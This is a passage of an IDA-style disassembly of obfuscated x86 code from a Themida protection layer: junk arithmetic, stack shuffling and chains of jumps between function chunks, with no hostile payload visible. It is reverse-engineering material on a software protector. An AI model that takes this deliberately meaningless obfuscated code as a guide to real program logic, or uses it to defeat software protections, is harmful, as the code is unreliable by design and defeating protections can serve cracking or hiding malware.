; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594C0A:				; CODE XREF: sub_59390B+DE55j
		add	esi, 72C50199h
		xor	esi, 2E4F0425h
		jmp	loc_59E2A7
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594C1B:				; CODE XREF: Themida_:00594B3Fj
		push	small 334Ah
		jmp	loc_590C0F

; =============== S U B	R O U T	I N E =======================================



sub_594C24	proc near		; CODE XREF: sub_5964AF+4CB4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005931E1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059A9CE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E6D7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059F87C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2F09 SIZE 0000001B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		jmp	loc_59E6D7
sub_594C24	endp

; ---------------------------------------------------------------------------


loc_594C31:				; CODE XREF: Themida_:00599FD3j
		add	ecx, 0DA9CF3E4h
		push	esi
		mov	esi, 7E282D6Ch
		dec	esi
		not	esi
		or	esi, 64A33C2Fh
		jmp	loc_591651
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594C4B:				; CODE XREF: sub_59390B+1437j
		pop	esi
		push	edx
		jmp	loc_59BDEE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594C52:				; CODE XREF: Themida_:0059516Dj
		mov	[esp], ebx
		push	6B56h
		jmp	loc_590E75
; ---------------------------------------------------------------------------


loc_594C5F:				; CODE XREF: Themida_:00592166j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	ecx, 1
		shr	ecx, 6
		jmp	loc_5918FB
; ---------------------------------------------------------------------------


loc_594C73:				; CODE XREF: Themida_:005A09F8j
		mov	ebp, 0F2542A7h
		jmp	loc_59351B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_594C7D:				; CODE XREF: sub_59E918+6611j
		pop	ecx
		sub	al, 8Fh
		add	al, cl
		add	al, 8Fh
		push	ebx
		mov	bl, 7Bh
		inc	bl
		push	cx
		mov	ch, 34h
		jmp	loc_59F51D
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_594C92:				; CODE XREF: sub_59654E+Ej
		pop	ebp
		xchg	ecx, [esp+0]
		jmp	loc_596E00
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594C9B:				; CODE XREF: sub_59390B+113Cj
		or	eax, edi
		pop	edi
		jmp	loc_593320
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_594CA3:				; CODE XREF: sub_59FD45-44AAj
		and	eax, ebp
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_5A1B70
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_594CB4:				; CODE XREF: Themida_:00597AB6j
		mov	ebx, 4
		jmp	loc_59658F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F121


loc_594CBE:				; CODE XREF: sub_59F121-AB41j
		sub	ebx, eax
		pop	eax
		jmp	loc_5A367B
; END OF FUNCTION CHUNK	FOR sub_59F121
; ---------------------------------------------------------------------------


loc_594CC6:				; CODE XREF: Themida_:0059BEDBj
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_59DE10
; ---------------------------------------------------------------------------


loc_594CD2:				; CODE XREF: Themida_:00597DC3j
		add	ebx, esi
		jmp	loc_5A4ED8
; ---------------------------------------------------------------------------
off_594CD9	dd offset dword_555548+220h ; DATA XREF: Themida_:005907E4o
		align 2
		mov	[esp], edx
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594CE6:				; CODE XREF: sub_59390B-839j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp+0]
		jmp	loc_59E5FC
; ---------------------------------------------------------------------------


loc_594CF4:				; CODE XREF: sub_59390B+A23j
		mov	ax, word ptr [esp+12h+var_14+2]
		add	esp, 2
		shr	dl, 3
		push	eax
		mov	al, 61h
		sub	al, 0D1h
		jmp	loc_5A1A20
; ---------------------------------------------------------------------------


loc_594D08:				; CODE XREF: sub_59390B+18DCj
		mov	word ptr [esp+12h+var_14+2], bx
		mov	bh, 0B9h
		jmp	loc_59DE7A
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_594D13	proc near		; CODE XREF: sub_59390B+DE75j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059145E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594E78 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059537B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059551F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005969FF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00599E62 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059C086 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059C7DE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059CEF4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D2EE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059EA0B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A0568 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A0925 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A12A7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A12D0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A2A91 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3A75 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A49CF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5613 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A5BA7 SIZE 00000016 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_59CEF4
sub_594D13	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594D1E:				; CODE XREF: sub_59390B+1053Aj
		pop	ebx
		mov	dh, al
		jmp	loc_5A105C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A958


loc_594D26:				; CODE XREF: sub_59A958+23BFj
		add	esi, 49F94ABAh
		jmp	loc_598A09
; END OF FUNCTION CHUNK	FOR sub_59A958
; ---------------------------------------------------------------------------


loc_594D31:				; CODE XREF: Themida_:005955C2j
		mov	eax, 63704392h
		jmp	loc_590CBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594D3B:				; CODE XREF: sub_59390B+1AA7j
		pop	esp
		push	esi
		push	7A361320h
		jmp	loc_594C4B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594D47:				; CODE XREF: Themida_:0059526Bj
		xor	ebp, 59A227D6h
		mov	eax, ebp
		pop	ebp
		add	eax, 1
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_59A723
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594D5D:				; CODE XREF: sub_59390B+7D0j
		mov	[esp+10h+var_10], ecx
		push	[esp+10h+var_C]
		pop	ecx
		pop	[esp+10h+var_10]
		pop	esp
		mov	[esp+8+var_8], edx
		push	1
		pop	edx
		push	166Ah
		jmp	loc_59150D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594D7C:				; CODE XREF: Themida_:005A4889j
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, al
		sub	esp, 4
		jmp	loc_59C634
; ---------------------------------------------------------------------------


loc_594D95:				; DATA XREF: Themida_:005907CCo
		push	dword ptr [edi+40h]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_594D9D:				; CODE XREF: Themida_:005970AAj
		xor	cl, 79h
		sub	cl, 20h
		jmp	loc_5A3313

; =============== S U B	R O U T	I N E =======================================



sub_594DA8	proc near		; CODE XREF: sub_59A431+6A39j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059A187 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059B191 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C42A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D09B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059E237 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2495 SIZE 0000000B BYTES

		sub	esp, 4
		jmp	loc_59A187
sub_594DA8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_594DB0:				; CODE XREF: sub_59A75E+3992j
		mov	edx, 5CC94763h
		shr	edx, 6
		jmp	loc_599C62
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_594DBD:				; CODE XREF: sub_598762-5110j
		sub	ebp, 21412606h
		add	ebp, edx
		jmp	loc_59783B
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_594DCA:				; CODE XREF: sub_59886E+18j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_598B15
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------


loc_594DDD:				; CODE XREF: Themida_:0059E68Cj
		push	edx
		push	6057h
		jmp	loc_59FF31
; ---------------------------------------------------------------------------


loc_594DE8:				; CODE XREF: Themida_:00596049j
		xchg	ebx, [esp]
		pop	esp
		push	5FE9h
		jmp	loc_590CA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594DF6:				; CODE XREF: sub_59390B+FF13j
		pop	esp
		jmp	loc_59F197
; ---------------------------------------------------------------------------


loc_594DFC:				; CODE XREF: sub_59390B+67DBj
		mov	edi, 5DF00F8Bh
		push	ecx
		mov	ecx, 38D61EC0h
		sub	edi, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		and	edi, 45CE48C3h
		jmp	loc_5A5905
; ---------------------------------------------------------------------------


loc_594E1D:				; CODE XREF: sub_59390B-23B1j
		xchg	ecx, [esp-0Ch+arg_4]
		mov	esp, [esp-0Ch+arg_4]
		div	cx
		push	5E50h
		mov	[esp-8+arg_0], ebx
		push	510Ah
		jmp	loc_59A840
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594E38:				; CODE XREF: Themida_:005968DCj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59BC88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594E45:				; CODE XREF: sub_59390B+BA38j
		sub	[edi+24h], ecx
		push	dword ptr [esp+0]
		mov	ecx, [esp+0]
		push	ebp
		jmp	loc_596D54
; ---------------------------------------------------------------------------


loc_594E54:				; CODE XREF: sub_59390B-251Aj
		add	ecx, 4
		jmp	sub_59654E
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_594E5F	proc near		; CODE XREF: sub_59390B+19C8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005A271D SIZE 00000024 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 4AD64969h
		xchg	esi, ebx
		inc	esi
		xchg	esi, ebx
		dec	ebx
		jmp	loc_5A271D
sub_594E5F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_594E78:				; CODE XREF: sub_594D13+DD81j
		pop	esp
		add	edi, edx
		add	edi, 4D72557h
		pop	edx
		jmp	loc_599E62
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------


loc_594E87:				; CODE XREF: Themida_:005A1D42j
		push	ebx
		mov	ebx, 2C4A654Ch
		add	edi, 3B474F21h
		add	edi, ebx
		sub	edi, 3B474F21h
		jmp	loc_5954E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594EA0:				; CODE XREF: sub_59390B+B84j
		mov	edi, 3C3F1DB6h
		xor	edx, edi
		pop	edi
		add	eax, 2D3E4FDEh
		sub	eax, 11B37483h
		sub	eax, edx
		push	edi
		mov	edi, 11B37483h
		add	eax, edi
		pop	edi
		jmp	loc_59E38A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594EC2:				; CODE XREF: Themida_:005A1CFAj
		pop	esp
		jmp	loc_59FF1B
; ---------------------------------------------------------------------------


loc_594EC8:				; CODE XREF: Themida_:0059E8E0j
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_59D3F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594ED2:				; CODE XREF: sub_59390B+11D6Aj
		push	edi
		mov	edi, 70D37B4Eh
		add	esi, edi
		pop	edi
		shl	esi, 3
		add	esi, 539D1F14h
		jmp	loc_5A3C72
; ---------------------------------------------------------------------------


loc_594EE9:				; CODE XREF: sub_59390B-18BAj
		pop	esp
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_59390B
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_594EF0:				; CODE XREF: sub_595BAD+DD00j
		push	303Fh
		jmp	loc_59D98F
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------


loc_594EFA:				; CODE XREF: Themida_:005A1E05j
		sub	bl, dl
		jmp	loc_5A5B43
; ---------------------------------------------------------------------------


loc_594F01:				; CODE XREF: Themida_:005A3054j
		pop	eax
		sub	dword ptr [edi+20h], 1BD93385h
		push	66CCh
		mov	[esp], ebx
		push	esi
		push	6F625BDCh
		mov	esi, [esp]
		add	esp, 4
		and	esi, 6230449Dh
		push	ecx
		jmp	loc_5982CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_594F29:				; CODE XREF: sub_599AE1+389Dj
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 110C07E1h
		neg	ebx
		dec	ebx
		or	ebx, 1A9E600Dh
		sub	ebx, 83F17D1Bh
		mov	eax, ebx
		jmp	loc_59D4CB
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_594F47:				; CODE XREF: Themida_:00597625j
		pop	edx
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_598D35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594F52:				; CODE XREF: sub_59390B+108j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-20h+arg_18]
		pop	esp
		mov	[esp-24h+arg_1C], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_5A145A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594F7D:				; CODE XREF: Themida_:005A0EE2j
		mov	ebx, 6A3C209Eh
		jmp	loc_591C03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_594F87:				; CODE XREF: sub_59D1FC+6j
		sub	ebx, 697E6DCFh
		shl	ebx, 8
		jmp	loc_59FEFC
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F505


loc_594F95:				; CODE XREF: sub_59F505+13j
		neg	ebp
		dec	ebp
		xor	ebp, 0CC28DF4Ah
		jmp	loc_595FD7
; END OF FUNCTION CHUNK	FOR sub_59F505
; ---------------------------------------------------------------------------


loc_594FA3:				; CODE XREF: Themida_:00590B5Aj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_595A62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_594FBA:				; CODE XREF: sub_591FE1+16DCj
		add	esp, 4
		jmp	loc_594A5F
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------


loc_594FC2:				; CODE XREF: Themida_:005926AFj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59DBA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_594FCF:				; CODE XREF: sub_59918B+86F4j
		sub	esi, 2B0929A9h
		mov	edx, esi
		jmp	loc_59A825
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_594FDC:				; CODE XREF: sub_59CAFB+384Aj
		add	esp, 4
		shl	eax, 5
		jmp	loc_59C98B
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_594FE7:				; CODE XREF: Themida_:0059FED3j
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_599F9C
; ---------------------------------------------------------------------------


loc_594FF2:				; CODE XREF: Themida_:005A238Bj
		sub	ecx, ebx
		pop	ebx
		mov	edx, ecx
		jmp	loc_59A89C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594FFC:				; CODE XREF: sub_59390B+3AE2j
		shl	dl, 1
		add	dl, 56h
		xor	al, dl
		jmp	loc_5A3CD5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_595008:				; CODE XREF: Themida_:00591CA1j
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5A2E1B
; ---------------------------------------------------------------------------


loc_59501B:				; CODE XREF: Themida_:005A079Ej
		mov	[esp], esi
		mov	esi, 519122Fh
		jmp	loc_59660F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_595028:				; CODE XREF: sub_59CFD4+2BFBj
		xor	esi, [esp+0Ch+var_C]
		jmp	loc_5A073E
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_595030:				; CODE XREF: sub_59D1FC-77D7j
		sub	edx, 36477580h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_5A28EE
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595044:				; CODE XREF: sub_59390B-4A9j
		shr	edx, 7
		neg	edx
		dec	edx
		add	edx, 200ADF12h
		and	edx, 0E246C9Fh
		xor	edx, 0E202016h
		add	ebx, edx
		mov	edx, [esp+0]
		add	esp, 4
		add	ebx, 4
		jmp	loc_5A4445
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_595072:				; CODE XREF: Themida_:005A5066j
		pop	esi
		push	edi
		jmp	loc_59FFF1
; ---------------------------------------------------------------------------


loc_595079:				; CODE XREF: Themida_:00597945j
		xor	edx, ebx
		pop	ebx
		shr	edx, 3
		jmp	loc_5A45E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_595084:				; CODE XREF: sub_59FCCB+Aj
		push	4
		jmp	loc_59A5B5
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_59508E:				; CODE XREF: sub_5964AF+4BD7j
		mov	esi, edx
		jmp	loc_59B15A
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_595095:				; CODE XREF: sub_59333E-115Fj
		add	eax, 9FEC98F1h
		sub	edx, eax
		pop	eax
		xor	ecx, edx
		jmp	loc_591CB3
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_5950A4:				; CODE XREF: sub_5936EC+3CBCj
		add	ebx, 2146F17h
		mov	ebp, [esp+4+var_4]
		push	ebp
		push	esp
		pop	ebp
		push	edi
		jmp	loc_5A52F1
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592586


loc_5950B6:				; CODE XREF: sub_592586+A6AEj
		sub	ebx, 65E16DF4h
		add	ebx, 6BD2188Eh
		pop	eax
		jmp	loc_5A15B2
; END OF FUNCTION CHUNK	FOR sub_592586
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5950C8:				; CODE XREF: sub_59CFD4+8913j
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		pop	eax
		push	186Bh
		mov	[esp+4+var_4], esi
		jmp	loc_5926DA
; END OF FUNCTION CHUNK	FOR sub_59CFD4

; =============== S U B	R O U T	I N E =======================================



sub_5950DF	proc near		; CODE XREF: sub_59FA27+23CAj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00592D97 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059455A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598105 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598163 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00599B03 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059D9D0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A34D2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A45FC SIZE 00000007 BYTES

		push	ebx
		mov	ebx, 7C3C093Fh
		not	ebx
		xor	ebx, 2E70A06h
		neg	ebx
		push	esi
		jmp	loc_5A45FC
sub_5950DF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5950F5:				; CODE XREF: Themida_:00598B87j
		mov	[esp], edx
		sub	esp, 4
		push	esp
		jmp	loc_59D75F
; ---------------------------------------------------------------------------


loc_595101:				; CODE XREF: Themida_:0059E6A6j
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, ebp
		jmp	loc_5997DB
; ---------------------------------------------------------------------------


loc_59510E:				; DATA XREF: Themida_:005907BCo
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_59F0D9
; ---------------------------------------------------------------------------


loc_59511A:				; CODE XREF: Themida_:0059E1FFj
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 765374h
		add	edi, 658B25BCh
		add	edi, edx
		sub	edi, 658B25BCh
		jmp	loc_5A4BA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_595139:				; CODE XREF: sub_59A4D6+95FBj
		not	esi
		xor	esi, 6D551FDBh
		add	ebp, 316863C8h
		add	ebp, esi
		sub	ebp, 316863C8h
		jmp	loc_59782F
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595154:				; CODE XREF: sub_59390B+46E7j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5961A2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_595164:				; CODE XREF: sub_599AE1+84DEj
		mov	eax, [esp+8+var_8]
		jmp	loc_5A4E5A
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_59516C:				; CODE XREF: Themida_:00590C63j
		pop	esp
		jmp	loc_594C52
; ---------------------------------------------------------------------------


loc_595172:				; CODE XREF: Themida_:005A5A74j
		push	ecx
		jmp	loc_5922BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_595178:				; CODE XREF: sub_590BDF+10DB0j
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		or	eax, eax
		jz	sub_59886E
		push	dword ptr [edi+1Ch]
		push	[esp+4+var_4]
		jmp	loc_59671B
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595191:				; CODE XREF: sub_59390B+F7CFj
		pop	edx
		xor	edi, [esp-0Ch+arg_4]
		xor	[esp-0Ch+arg_4], edi
		xor	edi, [esp-0Ch+arg_4]
		mov	esp, [esp-0Ch+arg_4]
		or	word ptr [esp-0Ch+arg_4], ax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5951A8:				; CODE XREF: Themida_:0059E5F7j
		sub	esi, 4D863504h
		pop	ecx
		push	eax
		push	ebp
		push	234904EAh
		pop	ebp
		sub	ebp, 5662207Ch
		and	ebp, 3F932527h
		xor	ebp, 58032C26h
		mov	eax, ebp
		pop	ebp
		xor	esi, eax
		pop	eax
		push	30A3h
		mov	[esp], ebx
		mov	ebx, esi
		jmp	loc_5A213D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5951DE:				; CODE XREF: sub_59390B+1CFFj
		or	cl, 0F1h
		shr	cl, 6
		sub	esp, 2
		jmp	loc_594D08
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5951EC:				; CODE XREF: Themida_:0059EB06j
		mov	edx, 60ED4081h
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		or	ecx, 3F2E3E74h
		push	esi
		mov	esi, 87407A5h
		jmp	loc_59A4AD
; ---------------------------------------------------------------------------


loc_59520D:				; CODE XREF: Themida_:0059E857j
		pop	ecx
		push	4847h
		mov	[esp], ebx
		push	4C6Ah
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_59648E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_59523A:				; CODE XREF: sub_59918B+99B7j
		push	edi
		pop	eax
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		add	esi, 63B25EEEh
		add	esi, eax
		sub	esi, 63B25EEEh
		push	[esp-4+arg_0]
		mov	eax, [esp+0]
		jmp	loc_59FFE6
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------


loc_59525C:				; CODE XREF: Themida_:0059BC5Dj
		or	ebp, 3DD56888h
		add	ebp, 7C3926FFh
		shr	ebp, 5
		jmp	loc_594D47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595270:				; CODE XREF: sub_59390B+2352j
		push	ecx
		mov	ecx, 16B67669h
		not	ecx
		and	ecx, 62D47721h
		jmp	loc_59D865
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_595283:				; CODE XREF: sub_594A8D+14j
		xor	ebx, 22E204E4h
		jmp	loc_5A0E7A
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597198


loc_59528E:				; CODE XREF: sub_597198+11j
		pop	esp
		shl	esi, 7
		jmp	loc_59EDCD
; END OF FUNCTION CHUNK	FOR sub_597198
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595297:				; CODE XREF: sub_59390B+436j
		add	edi, 73FB7E14h
		push	eax
		mov	eax, edi
		push	ecx
		jmp	loc_5A0EE7
; ---------------------------------------------------------------------------


loc_5952A6:				; CODE XREF: sub_59390B-2022j
		mov	ebx, 4
		sub	eax, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		xchg	eax, [esp-8+arg_0]
		mov	esp, [esp-8+arg_0]
		mov	[esp-8+arg_0], edx
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 77EE69ACh
		push	ebp
		mov	ebp, 79346133h
		neg	ebp
		inc	ebp
		jmp	sub_594E5F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5971C0


loc_5952D8:				; CODE XREF: sub_5971C0+12j
		pop	edi
		push	eax
		push	ebx
		mov	ebx, 34E20722h
		jmp	loc_595D3A
; END OF FUNCTION CHUNK	FOR sub_5971C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5952E5:				; CODE XREF: sub_59390B+2493j
		mov	edi, 466C00BBh
		shl	edi, 7
		add	edi, 0FFFFFFFFh
		sub	edi, 2CC12658h
